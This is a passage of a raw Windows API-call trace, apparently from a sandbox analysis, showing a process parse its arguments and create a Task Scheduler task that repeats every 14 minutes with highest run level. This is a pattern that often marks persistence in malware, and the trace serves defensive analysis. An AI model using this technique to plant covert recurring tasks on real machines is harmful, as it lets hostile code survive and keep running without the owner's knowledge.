_ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.585] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.585] lstrlenW (lpString="|mo|") returned 4 [0121.585] lstrlenW (lpString="|f|") returned 3 [0121.585] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0121.585] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.585] lstrlenW (lpString="d") returned 1 [0121.585] lstrlenW (lpString="d") returned 1 [0121.585] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.585] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.585] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|d|") returned 3 [0121.585] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.585] lstrlenW (lpString="|d|") returned 3 [0121.585] lstrlenW (lpString="|f|") returned 3 [0121.585] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0121.585] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.586] lstrlenW (lpString="m") returned 1 [0121.586] lstrlenW (lpString="m") returned 1 [0121.586] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.586] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.586] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|m|") returned 3 [0121.586] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.586] lstrlenW (lpString="|m|") returned 3 [0121.586] lstrlenW (lpString="|f|") returned 3 [0121.586] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0121.586] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.586] lstrlenW (lpString="i") returned 1 [0121.586] lstrlenW (lpString="i") returned 1 [0121.586] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.586] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.586] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|i|") returned 3 [0121.586] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.586] lstrlenW (lpString="|i|") returned 3 [0121.586] lstrlenW (lpString="|f|") returned 3 [0121.586] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0121.586] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.586] lstrlenW (lpString="tn") returned 2 [0121.586] lstrlenW (lpString="tn") returned 2 [0121.586] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.586] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.586] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.586] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.586] lstrlenW (lpString="|tn|") returned 4 [0121.586] lstrlenW (lpString="|f|") returned 3 [0121.586] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0121.586] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.586] lstrlenW (lpString="tr") returned 2 [0121.586] lstrlenW (lpString="tr") returned 2 [0121.587] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.587] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.587] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.587] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.587] lstrlenW (lpString="|tr|") returned 4 [0121.587] lstrlenW (lpString="|f|") returned 3 [0121.587] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0121.587] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.587] lstrlenW (lpString="st") returned 2 [0121.587] lstrlenW (lpString="st") returned 2 [0121.587] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.587] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.587] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|st|") returned 4 [0121.587] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.587] lstrlenW (lpString="|st|") returned 4 [0121.587] lstrlenW (lpString="|f|") returned 3 [0121.587] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0121.587] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.587] lstrlenW (lpString="sd") returned 2 [0121.587] lstrlenW (lpString="sd") returned 2 [0121.587] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.587] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.587] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sd|") returned 4 [0121.587] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.587] lstrlenW (lpString="|sd|") returned 4 [0121.587] lstrlenW (lpString="|f|") returned 3 [0121.587] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0121.587] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.587] lstrlenW (lpString="ed") returned 2 [0121.587] lstrlenW (lpString="ed") returned 2 [0121.587] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.587] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.588] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ed|") returned 4 [0121.588] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.588] lstrlenW (lpString="|ed|") returned 4 [0121.588] lstrlenW (lpString="|f|") returned 3 [0121.588] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0121.588] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.588] lstrlenW (lpString="it") returned 2 [0121.588] lstrlenW (lpString="it") returned 2 [0121.588] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.588] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.588] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|it|") returned 4 [0121.588] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.588] lstrlenW (lpString="|it|") returned 4 [0121.588] lstrlenW (lpString="|f|") returned 3 [0121.588] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0121.588] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.588] lstrlenW (lpString="et") returned 2 [0121.588] lstrlenW (lpString="et") returned 2 [0121.588] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.588] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.588] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|et|") returned 4 [0121.588] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.588] lstrlenW (lpString="|et|") returned 4 [0121.588] lstrlenW (lpString="|f|") returned 3 [0121.588] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0121.588] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.588] lstrlenW (lpString="k") returned 1 [0121.588] lstrlenW (lpString="k") returned 1 [0121.588] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.588] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.588] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|k|") returned 3 [0121.588] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.589] lstrlenW (lpString="|k|") returned 3 [0121.589] lstrlenW (lpString="|f|") returned 3 [0121.589] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0121.589] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.589] lstrlenW (lpString="du") returned 2 [0121.589] lstrlenW (lpString="du") returned 2 [0121.589] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.589] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.589] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|du|") returned 4 [0121.589] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.589] lstrlenW (lpString="|du|") returned 4 [0121.589] lstrlenW (lpString="|f|") returned 3 [0121.589] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0121.589] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.589] lstrlenW (lpString="ri") returned 2 [0121.589] lstrlenW (lpString="ri") returned 2 [0121.589] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.589] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.589] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ri|") returned 4 [0121.589] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.589] lstrlenW (lpString="|ri|") returned 4 [0121.589] lstrlenW (lpString="|f|") returned 3 [0121.589] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0121.589] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.589] lstrlenW (lpString="z") returned 1 [0121.589] lstrlenW (lpString="z") returned 1 [0121.589] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.589] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.589] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|z|") returned 3 [0121.589] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.589] lstrlenW (lpString="|z|") returned 3 [0121.590] lstrlenW (lpString="|f|") returned 3 [0121.590] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0121.590] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.590] lstrlenW (lpString="f") returned 1 [0121.590] lstrlenW (lpString="f") returned 1 [0121.590] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.590] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.590] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.590] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.590] lstrlenW (lpString="|f|") returned 3 [0121.590] lstrlenW (lpString="|f|") returned 3 [0121.590] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0121.590] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.590] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.661] GetProcessHeap () returned 0x27bec400000 [0121.661] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b6f0 [0121.661] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.661] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0121.662] lstrlenW (lpString="LIMITED") returned 7 [0121.662] GetProcessHeap () returned 0x27bec400000 [0121.662] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x10) returned 0x27bec40a970 [0121.662] GetThreadLocale () returned 0x409 [0121.662] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0121.662] GetProcessHeap () returned 0x27bec400000 [0121.662] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40bb70 [0121.662] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.662] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0121.662] lstrlenW (lpString="HIGHEST") returned 7 [0121.662] GetProcessHeap () returned 0x27bec400000 [0121.662] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x10) returned 0x27bec40ab50 [0121.662] GetThreadLocale () returned 0x409 [0121.662] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0121.662] GetProcessHeap () returned 0x27bec400000 [0121.662] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40ba80 [0121.662] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.662] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0121.662] lstrlenW (lpString="MINUTE") returned 6 [0121.662] GetProcessHeap () returned 0x27bec400000 [0121.662] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xe) returned 0x27bec40aa70 [0121.662] GetThreadLocale () returned 0x409 [0121.662] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0121.663] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.663] GetProcessHeap () returned 0x27bec400000 [0121.663] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x1fc) returned 0x27bec40acf0 [0121.663] GetProcessHeap () returned 0x27bec400000 [0121.663] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b5a0 [0121.663] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.663] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0121.663] lstrlenW (lpString="First") returned 5 [0121.663] GetProcessHeap () returned 0x27bec400000 [0121.663] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xc) returned 0x27bec40ac10 [0121.663] GetProcessHeap () returned 0x27bec400000 [0121.663] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b720 [0121.663] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.663] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0121.663] lstrlenW (lpString="Second") returned 6 [0121.663] GetProcessHeap () returned 0x27bec400000 [0121.663] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xe) returned 0x27bec40aa90 [0121.663] GetProcessHeap () returned 0x27bec400000 [0121.663] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b750 [0121.663] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.663] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0121.663] lstrlenW (lpString="Third") returned 5 [0121.663] GetProcessHeap () returned 0x27bec400000 [0121.663] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xc) returned 0x27bec40ab10 [0121.664] GetProcessHeap () returned 0x27bec400000 [0121.664] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b420 [0121.664] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.664] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0121.664] lstrlenW (lpString="Fourth") returned 6 [0121.664] GetProcessHeap () returned 0x27bec400000 [0121.664] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xe) returned 0x27bec40ac30 [0121.664] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.664] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0121.664] lstrlenW (lpString="Last") returned 4 [0121.664] GetProcessHeap () returned 0x27bec400000 [0121.664] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xa) returned 0x27bec40a9d0 [0121.664] lstrlenW (lpString="14") returned 2 [0121.664] _wtol (_String="14") returned 14 [0121.664] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.664] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0121.664] lstrlenW (lpString="First") returned 5 [0121.664] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.664] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0121.664] lstrlenW (lpString="Second") returned 6 [0121.664] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.664] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0121.664] lstrlenW (lpString="Third") returned 5 [0121.665] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.665] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0121.665] lstrlenW (lpString="Fourth") returned 6 [0121.665] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.665] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0121.665] lstrlenW (lpString="Last") returned 4 [0121.665] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x7c8527c530, cchData=128 | out: lpLCData="0") returned 2 [0121.665] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.665] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0121.665] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0121.665] GetProcessHeap () returned 0x27bec400000 [0121.665] GetProcessHeap () returned 0x27bec400000 [0121.665] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ac10) returned 1 [0121.665] GetProcessHeap () returned 0x27bec400000 [0121.665] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40ac10) returned 0xc [0121.665] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40ac10) returned 1 [0121.665] GetProcessHeap () returned 0x27bec400000 [0121.665] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x16) returned 0x27bec40aab0 [0121.665] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x7c8527c550, cchData=128 | out: lpLCData="0") returned 2 [0121.665] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.665] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0121.666] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0121.666] GetProcessHeap () returned 0x27bec400000 [0121.666] GetProcessHeap () returned 0x27bec400000 [0121.666] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40aa90) returned 1 [0121.666] GetProcessHeap () returned 0x27bec400000 [0121.666] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40aa90) returned 0xe [0121.666] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40aa90) returned 1 [0121.666] GetProcessHeap () returned 0x27bec400000 [0121.666] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x16) returned 0x27bec40a990 [0121.666] GetLocalTime (in: lpSystemTime=0x7c8527c788 | out: lpSystemTime=0x7c8527c788*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2d, wMilliseconds=0x22)) [0121.666] lstrlenW (lpString="") returned 0 [0121.666] GetLocalTime (in: lpSystemTime=0x7c8527d178 | out: lpSystemTime=0x7c8527d178*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x2d, wMilliseconds=0x22)) [0121.666] lstrlenW (lpString="") returned 0 [0121.666] lstrlenW (lpString="") returned 0 [0121.666] lstrlenW (lpString="") returned 0 [0121.666] lstrlenW (lpString="") returned 0 [0121.666] lstrlenW (lpString="14") returned 2 [0121.666] _wtol (_String="14") returned 14 [0121.666] lstrlenW (lpString="") returned 0 [0121.666] lstrlenW (lpString="") returned 0 [0121.667] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0121.676] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0121.751] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x7c8527ced0 | out: ppv=0x7c8527ced0*=0x27bec705740) returned 0x0 [0121.782] TaskScheduler:ITaskService:Connect (This=0x27bec705740, serverName=0x7c8527cfc0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x7c8527cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x7c8527cf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x7c8527cf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0121.843] TaskScheduler:ITaskService:GetFolder (in: This=0x27bec705740, Path=0x0, ppFolder=0x7c8527d0b0 | out: ppFolder=0x7c8527d0b0*=0x27bec7058f0) returned 0x0 [0121.912] TaskScheduler:ITaskService:NewTask (in: This=0x27bec705740, flags=0x0, ppDefinition=0x7c8527d088 | out: ppDefinition=0x7c8527d088*=0x27bec705970) returned 0x0 [0121.912] ITaskDefinition:get_Actions (in: This=0x27bec705970, ppActions=0x7c8527cfd0 | out: ppActions=0x7c8527cfd0*=0x27bec705a00) returned 0x0 [0121.913] IActionCollection:Create (in: This=0x27bec705a00, Type=0, ppAction=0x7c8527d010 | out: ppAction=0x7c8527d010*=0x27bec705e10) returned 0x0 [0121.913] IUnknown:Release (This=0x27bec705e10) returned 0x1 [0121.913] IUnknown:Release (This=0x27bec705a00) returned 0x1 [0121.913] ITaskDefinition:get_Triggers (in: This=0x27bec705970, ppTriggers=0x7c8527cb80 | out: ppTriggers=0x7c8527cb80*=0x27bec705cc0) returned 0x0 [0121.913] ITriggerCollection:Create (in: This=0x27bec705cc0, Type=1, ppTrigger=0x7c8527cb68 | out: ppTrigger=0x7c8527cb68*=0x27bec705ea0) returned 0x0 [0121.913] lstrlenW (lpString="14") returned 2 [0121.914] _vsnwprintf (in: _Buffer=0x7c8527caf0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x7c8527cae8 | out: _Buffer="PT14M") returned 5 [0121.914] ITrigger:get_Repetition (in: This=0x27bec705ea0, ppRepeat=0x7c8527cb60 | out: ppRepeat=0x7c8527cb60*=0x27bec705f30) returned 0x0 [0121.914] IRepetitionPattern:put_Interval (This=0x27bec705f30, Interval="PT14M") returned 0x0 [0121.914] IUnknown:Release (This=0x27bec705f30) returned 0x1 [0121.914] _vsnwprintf (in: _Buffer=0x7c8527cab0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x7c8527ca88 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0121.914] ITrigger:put_StartBoundary (This=0x27bec705ea0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0121.914] lstrlenW (lpString="") returned 0 [0121.914] lstrlenW (lpString="") returned 0 [0121.914] lstrlenW (lpString="") returned 0 [0121.914] lstrlenW (lpString="") returned 0 [0121.914] IUnknown:Release (This=0x27bec705ea0) returned 0x1 [0121.914] IUnknown:Release (This=0x27bec705cc0) returned 0x1 [0121.914] ITaskDefinition:get_Settings (in: This=0x27bec705970, ppSettings=0x7c8527d010 | out: ppSettings=0x7c8527d010*=0x27bec705b40) returned 0x0 [0121.915] lstrlenW (lpString="") returned 0 [0121.915] IUnknown:Release (This=0x27bec705b40) returned 0x3 [0121.915] GetLocalTime (in: lpSystemTime=0x7c8527cec8 | out: 